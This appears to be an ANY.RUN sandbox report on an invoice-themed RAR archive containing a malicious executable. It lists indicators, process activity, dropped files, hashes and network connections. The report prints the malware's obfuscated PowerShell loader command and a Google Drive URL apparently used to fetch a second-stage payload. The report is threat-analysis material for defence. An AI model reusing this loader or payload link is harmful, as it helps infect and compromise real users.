File name:

nfactura_pendiente.tar

Full analysis: https://app.any.run/tasks/b22987ca-cdcb-4ba5-8ca9-ff5ea2a296c2
Verdict: Malicious activity
Analysis date: February 20, 2025, 16:30:19
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
arch-exec
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

5BC6DFAAE47E1A148E6767CE20C118E5

SHA1:

80061BAEB43114EC3C242F9984D9814EF5637F10

SHA256:

A08EE7CB3C65FD01DC498000358F9F9EF844BCD3C9270A0A47DD65B6CA59B78A

SSDEEP:

49152:s4tmWSovHVszPiNdh3gqAtpC30zmuyU5GQTVzHrTcyql2s2HzpSzdKcHI9LmF5TU:s4wXovHWCw03y5Xzvtq3siHIlG5TjHir

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • factura pendiente.exe (PID: 3076)

    • Generic archive extractor

      • WinRAR.exe (PID: 2972)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • factura pendiente.exe (PID: 3076)

    • Executable content was dropped or overwritten

      • factura pendiente.exe (PID: 3076)
      • powershell.exe (PID: 4052)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 2972)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 2972)

    • Executing commands from a ".bat" file

      • WinRAR.exe (PID: 2972)

    • There is functionality for taking screenshot (YARA)

      • factura pendiente.exe (PID: 3076)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 4052)

    • Executes application which crashes

      • msiexec.exe (PID: 5432)

  • INFO

    • Checks supported languages

      • factura pendiente.exe (PID: 3076)
      • MpCmdRun.exe (PID: 5568)

    • Manual execution by a user

      • factura pendiente.exe (PID: 3076)

    • Creates files or folders in the user directory

      • factura pendiente.exe (PID: 3076)
      • WerFault.exe (PID: 6076)

    • Reads the computer name

      • factura pendiente.exe (PID: 3076)
      • MpCmdRun.exe (PID: 5568)

    • Create files in a temporary directory

      • factura pendiente.exe (PID: 3076)
      • MpCmdRun.exe (PID: 5568)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2972)

    • The sample compiled with english language support

      • WinRAR.exe (PID: 2972)
      • powershell.exe (PID: 4052)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4052)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 4052)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 4052)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 4052)

    • Reads the software policy settings

      • msiexec.exe (PID: 5432)
      • WerFault.exe (PID: 6076)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 4052)

    • Checks proxy server information

      • msiexec.exe (PID: 5432)
      • WerFault.exe (PID: 6076)

    • Reads security settings of Internet Explorer

      • msiexec.exe (PID: 5432)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion: RAR v5
CompressedSize: 1407617
UncompressedSize: 1538312
OperatingSystem: Win32
ArchivedFileName: factura pendiente.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
132
Monitored processes
9
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe factura pendiente.exe powershell.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs mpcmdrun.exe no specs msiexec.exe werfault.exe

Process information

PID
CMD
Path
Indicators
Parent process
1804\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2972"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\nfactura_pendiente.tar.rarC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3076"C:\Users\admin\Desktop\factura pendiente.exe" C:\Users\admin\Desktop\factura pendiente.exe
explorer.exe
User:
admin
Company:
evalueringsrkkeflgerne dissention revalueringerne
Integrity Level:
MEDIUM
Exit code:
4294967295
Version:
3.1.0.0
Modules
Images
c:\users\admin\desktop\factura pendiente.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
3172C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$VR2972.34534\Rar$Scan8781.bat" "C:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
4052"powershell.exe" -windowstyle minimized "$Janikas=gc -Raw 'C:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Reenjoying.Pos';$Attesters=$Janikas.SubString(56969,3);.$Attesters($Janikas)"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
factura pendiente.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
5028\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5432"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
3762504530
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
5568"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\Users\admin\AppData\Local\Temp\Rar$VR2972.34534"C:\Program Files\Windows Defender\MpCmdRun.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Malware Protection Command Line Utility
Exit code:
2
Version:
4.18.1909.6 (WinBuild.160101.0800)
Modules
Images
c:\program files\windows defender\mpcmdrun.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
6076C:\WINDOWS\SysWOW64\WerFault.exe -u -p 5432 -s 2308C:\Windows\SysWOW64\WerFault.exe
msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
Total events
18 580
Read events
18 568
Write events
12
Delete events
0

Modification events

(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\nfactura_pendiente.tar.rar
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(3076) factura pendiente.exeKey:HKEY_CURRENT_USER\Regisse\Uninstall\Concludent\dknernes
Operation:writeName:undvendigt
Value:
1
(PID) Process:(2972) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\VirusScan
Operation:writeName:DefScanner
Value:
Windows Defender
Executable files
3
Suspicious files
8
Text files
22
Unknown types
0

Dropped files

PID
Process
Filename
Type
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Chondrosin42.den —
MD5:—
SHA256:—
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\inhesion\stafferet.men —
MD5:—
SHA256:—
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Sttyskeren\Driftsmiddels.jpgimage
MD5:AF05EEA867741C9F3E393B481E2AA0ED
SHA256:2D6991CAF38EFAE38D2849D8BCC3D00AA7AC1DB419AB378DF4823A5516C72CE0
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Reenjoying.Postext
MD5:B1900F725FDAD25BD4AEB9A6F2F2C924
SHA256:8BA966646C30BFDACB67109EA74CBDE3C3055C9595034146EB0BB4CD3C43D699
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Sttyskeren\Hostess.txttext
MD5:C15FC961D85C5922BE099765BDE7EBD5
SHA256:18D0F24F70590B47A0A229BC2244645D17610E485167755B7ACF787C61706E68
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Sttyskeren\Populravis.txttext
MD5:0A3891B25E2CFE64897EC83CC688BFE0
SHA256:A657D235DCB9CC0EEF83EEBECD11DB719B484193DFF4A9DBA7EF8D0AD095EAC7
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\Dinitrocellulose.jpgimage
MD5:995F3CC5AFDECFCD7C6A17D8FA1B8B04
SHA256:6E793312F0BE4F73D7A61666C0FF61780AE44D497CE007257F81F5DF96B321F5
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Feedbag\nosing.Ungbinary
MD5:E843173B491BFD25E4FC5FF210197A3D
SHA256:30D0C2FD6B83B78F44F457A6A5A6F8A8ADD467CEEC517B7EAD3B74FECDA8AA13
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\inhesion\elsdyrets.txttext
MD5:8C956E8A51D4D31917BB453285EC6734
SHA256:7D65FEF133FA3B2EAA33C7A807D282E46B2C09D1AF6A542C6CA45F8DB8D4FBAD
3076factura pendiente.exeC:\Users\admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\inhesion\boltrope.vanbinary
MD5:18792410AE3448F9E8A70C30AF90C500
SHA256:B4E2E7AD894AC23E7A7FCE95C0A30A15CA4A72A035C5CFA2831121A4DC9001CC
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
18
DNS requests
12
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.147:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
244
svchost.exe
GET
200
69.192.161.161:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
69.192.161.161:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
303
142.250.185.206:443
https://drive.google.com/uc?export=download&id=131eBjkwYn8ICSaSNULjDwoguWSHuBmio
unknown
—
—
—
—
—
GET
200
142.250.185.97:443
https://drive.usercontent.google.com/download?id=131eBjkwYn8ICSaSNULjDwoguWSHuBmio&export=download
unknown
binary
271 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
1488
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
92.123.104.41:443
www.bing.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
244
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.147:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
69.192.161.161:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
244
svchost.exe
69.192.161.161:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.104.136.2
  • 40.127.240.158
whitelisted
www.bing.com
  • 92.123.104.41
  • 92.123.104.61
  • 92.123.104.65
  • 92.123.104.53
  • 92.123.104.59
  • 92.123.104.47
  • 92.123.104.38
  • 92.123.104.58
  • 92.123.104.64
whitelisted
google.com
  • 142.250.185.206
whitelisted
crl.microsoft.com
  • 23.48.23.147
  • 23.48.23.139
  • 23.48.23.137
  • 23.48.23.148
  • 23.48.23.146
  • 23.48.23.141
  • 23.48.23.140
  • 23.48.23.138
  • 23.48.23.149
whitelisted
www.microsoft.com
  • 69.192.161.161
whitelisted
drive.google.com
  • 142.250.185.142
whitelisted
drive.usercontent.google.com
  • 142.250.185.97
whitelisted
watson.events.data.microsoft.com
  • 20.42.65.92
whitelisted
self.events.data.microsoft.com
  • 40.79.167.8
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
nfactura_pendiente.tar